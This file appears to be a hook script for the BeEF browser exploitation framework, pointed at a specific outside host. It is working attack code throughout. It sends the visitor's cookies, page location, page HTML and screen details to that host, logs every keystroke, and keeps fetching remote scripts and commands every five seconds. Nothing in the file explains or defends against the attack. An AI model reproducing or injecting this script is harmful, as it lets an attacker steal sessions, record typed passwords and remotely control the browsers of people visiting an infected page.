top.document.onkeypress = catch_key;

if (window.attachEvent) 
    window.attachEvent('onload', beef_onload);
else if (window.addEventListener) 
        window.addEventListener('load', beef_onload, 0);

beef_url = "http://ms.awardspace.us/beef/";

function beef_onload() {
	return_result('cookie', document.cookie);
	save_page();
	return_result('loc', document.location);
}

var key_history = new Array(4);
var magic_seq = ['B','e','E','F']; 

// ---[ SAVE_PAGE

function save_page() {

    var a = document.body.innerHTML;
    var begin = 0;
    var block_size = 1000;
    
    while (a.length > begin) {
        return_result('html', a.substring(begin,begin+block_size));      
        begin = begin+block_size;
   }
}

// ---[ CATCH_KEY
function catch_key(e) {
	var keynum;

	if(window.event) { // IE
		keynum = event.keyCode;
	} else if(e.which) { // Netscape/Firefox/Opera
		keynum = e.which;
	} else {
		//TODO handle error
		return 0;
	}

	//TODO add ctrl, shift and alt checks
	// there is currently no support these keys

	var keychar = String.fromCharCode(keynum);

	// keep key history
	for(i=0;i<3;i++) {
		key_history[i] = key_history[i+1];
	}
	key_history[3] = keychar;

	// check if history is magic_seq
	var escape_beef = true;
	for(i=0;i<4;i++) {
		if(key_history[i] != magic_seq[i]){
			escape_beef = false;
		}
	}

	if(escape_beef) {
		// TODO add options
		alert('Controlled by BeEF - http://www.bindshell.net');
	}

	// return key to beef
	return_result('kl', keychar);
}

var sw = screen.width;
var sh = screen.height;
var sd = screen.colorDepth;

return_result('screen', sw+ "x" +sh+ " with " +sd+ "-bit colour");


// ---[ RETURN_RESULT
// send result to beef
function return_result(action, data) {
	var img_tmp = new Image();
	var src = beef_url + '/hook/return.php?BeEFSession=c42b04ec309715944f79340b300a8a85&action=' + action + '&data=' + escape(data);
	img_tmp.src = src;
}

function include(script_filename) {
	var html_doc = document.getElementsByTagName('head').item(0);
	var js = document.createElement('script');
	js.src = script_filename;
	js.type = 'text/javascript';
 	js.defer = true;
	html_doc.appendChild(js);
	return js;
}

// run autorun module
 include(beef_url + '/hook/autorun.js.php?BeEFSession=c42b04ec309715944f79340b300a8a85&');

// start heartbeat
setInterval(function () {
	include(beef_url + '/hook/command.php?BeEFSession=c42b04ec309715944f79340b300a8a85&');
}, 5000);